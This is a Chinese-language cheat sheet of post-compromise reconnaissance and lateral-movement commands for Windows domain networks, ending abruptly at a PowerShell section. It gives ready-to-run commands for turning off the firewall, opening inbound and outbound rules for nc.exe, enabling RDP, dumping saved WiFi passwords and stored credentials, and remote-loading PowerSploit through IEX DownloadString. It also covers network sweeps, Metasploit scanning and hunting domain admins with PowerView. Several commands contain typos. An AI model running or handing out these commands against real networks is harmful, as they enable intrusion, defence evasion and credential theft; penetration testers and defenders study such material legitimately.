信息收集

判断机器归属,个人机,工作组,域

当前机器角色,本地账户,机器账户,普通域用户,机器上有域用户的本地账户,

当前机器的网络环境,网段是192还是10

机器所处环境,运维,财务,客户,域控

whoami 查权限

ipconfig /all 看下自己存在几个段 和本机内网ip地址

操作系统及版本信息

systeminfo  findstr /B /C:"OS 名称"/C:"OS 版本"
systeminfo findstr /B /C:"OS Name" /C:"OS Version"

查询补丁信息

wmic qfe get Caption,Description,HotFixID,InstalledOn

查看系统体系结构

echo %processor_architecture%

查看安装的软件版本和路径

wmic product get name,version

查询本机服务

wmic service list brief

查看进程

tasklist:
wmic service list brief

查看启动程序信息

wmic startup get command,caption

查看计划任务

schtasks/query /fo list /v

查询主机开机时间

net statistics workstation

获取本地管理员信息

net localgroup administrators

查看当在线用户

query user||qwinsta

查询端口列表

netstat-an /横向,做票

查看系统补丁

wmic qfe get caption,description,hotfixid,installedon

查看本机共享列表

net share
wmic share get name,path,status

列出或断开本地计算机与所连接的客户端之间的会话

net session

查询RDP端口

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

0xd3d即为3389端口

查看代理配置信息

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查看路由表和可用接口ARP缓存

route print
arp -a

查看当前登录域及登录用户信息

net config workstation //不存在域环境为WORKGROUP

防火墙相关配置:
。查看防火墙配置netsh firewall show config
。关闭防护墙:(注:修改防火墙配置需要管理员权限)

win2003以前: netsh firewall set opmode disable
win2003以后: netsh advfirewall set allprofiles state off

修改防火墙配置允许制定程序连接

win2003以前: netsh firewall add allowedprogram c: \nc.exe "allow nc " enable
win2003以后: netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"

允许指定程序退出:

netsh advfirewall firewall add rule name ="allow nc" dir=out action=allow program="C:\nc.exe"

允许3389端口放行:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
开启3389: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭3389:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
自定义防火墙存储:netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log'
查看1080端口的代理配置信息:reg query
"HEHY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Settings"
查看是否能修改删除日志
wmic nteventlog get path,filename,writeable
netsh wlan show profiles 系统命令获取登录过的WiFi名称
netsh wlan show profile name="SecurityMind-Guest_5G” key=clear

通过如下命令获取连接过的wifi密码

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
cmdkey /list 能够列举出系统中的Windows凭据

查看域SID:whoami /all

查找指定用户信息:net user xxx/domain;

PowerSploit的invoke-Portscan.psl脚本

远程加载脚本:
IEX (New-0bjectNet.Webclient).DownloadString("http://192.168.1.128/PowerSploit/Recon/Invoke-PortScan.ps1")
指定ip进行端口扫描:
Invoke-Portscan -Hosts 192.168.1.103,192.168.1.100 -Ports"80,445,3389"
利用 ICMP协议探测: for /L %I in (1,1,254) D0 @ping -w 1 -n 1 192.168.1.%I |findstr "TTL="
empire中的ARP模块:使用usemodule situational_awareness/network/arpscan
Linux下: for i in {132..254}; do ping -q -i 0.01 -c 3 192,168.64.$i &> /dev/null && echo 192.168.64.$i is alive; done
Nishang的Invoke-ARPScan.ps1脚本: powershell.exe -exec bypass -command "& {import-module C:\windows\temp\Invoke-arpscan.ps1; invoke-arpscan -cidr 192.168.1.0/20}" >> C:\windows temp\log.txt
利用Scanline 扫描TCP/UDP端口扫描内网: scanline -h -t 22,80-89,110,445 -U 53,161,137 -0 C:\windows\temp\log.txt -p 192.168.102.1-254 /b
扫描域内端口需要关注以下几点:

端口的banner服务:端口运行的服务,常见应用的默认端口

利用telnet进行扫描 Telnet 192.168.102.8 2

image-20230927144958423

metasploit端口扫描器 使用auxiliary/scanner/portscan/tcp模块

use auxiliary/scanner/portscan/tcp
set ports 1-1024
set rhosts 192.168.102.8
set threads 10
run

收集域内基本信息

查询域 net view /domain

如果存在域,查看域内所有计算机: net view /domain:hacke

查询域内所有用户列表:net group/domain

系统自带用户身份列表:

domain admins;域管理员
domain computers:域内机器
domain controlers:域控制器
domain guest:域访客
domain user;域用户
enterpriseadmins:企业系统管理员用户

普通情况下,domain admins和enterprise admin对域内所有的域控制器有完全控制权限

查询域成员所有计算机列表

net group "domain computers" /domain

获取域密码信息

net accounts /domain

获取域信任信息

nltest /domain_trusts

扫描spn:

利用Windows自带的setspn工具,普通与用户权限执行即可:setspn -T rootkit.org -Q */*

查找域控制器

查看域控机器名nltest /DCLIST:name /netdom query pdc

查看域控主机名:nslook -type=SRV _ldap.tcp

查看当前时间:net time /domain

查看域控组:net group "domain controllers" /domain

域控一般有两台,有一台备用

获取域内用户和管理员信息

查询所有域用户列表: net user /domain

获取域内用户的详细信息: wmic useraccount get /all

查询在线用户: dsquery user

查询本地管理员组用户: net localgroup admintrators

查询域管理员用户 net group "domain admins" /domain

查询管理员用户组:net group "enterprise admins" /domain

域管理员定位工具

在windows上 可以用net session 看谁用了本机资源,但是查不出谁在使用远程计算机资源,或者谁登录了远程计算机;

  • psloggedon.exe: psloggedon \\domainname同样需要管理员;

原理是通过注册表的HUEY_USER的key值来查询:

  • PVEFindADUser.exe查找活动目录用户的登录设置,枚举域用户,查找特定计算机上登录的用户

条件:管理员权限;NET Framework2.0环境

PVEFindADUser.exe -current :显示所有域内计算机

  • netview.exe枚举用户,能够寻找登录会话,寻找共享,枚举登录的用户,大部分都不用管理员权限;

  • nmap的NSE脚本

smb-enum-domains.nse 对域控进行信息收集,获取主机信息,用户,使用密码策略的用户;
smb-enum-users.nse 拿到了域内某台主机的权限,但是权限有限,可以用这个脚本对预控进行扫描

smb-enum-shares.nse便利远程主机的共享目录
smb-enum-processes.nse对进程进行遍历
smb-enum-session.nse获取域内主机的登录会话,查看是否有用户登录
smb-enum-discovery.nse收集 目标主机的os information,计算机名,域名,域林名称,NetBIOS机器名,工作组,系统时间:

  • PowerView脚本

powershell.exe -exec bypass -command "& {import-module C:\powerview.ps1;Invoke-UserHunter}"接受用户名,用户列表,和域组列表
powershell.exe -exec bypass -command "& {import-module C:\powerview.ps1;Invoke-StealtUserHunter}"获取域内所有的用户:

获取域管理员列表:net group "domain admins" /domain

列出本机所有进程及进程用户:tasklist /v

查看域控列表:net group "domain controllers" /domain

所有活动域的会话列表 (netsess.exe列表): netsess -h

利用powershell收集信息
要想执行脚本需要修改配置:set-executionpolicy unrestricted

导入模块: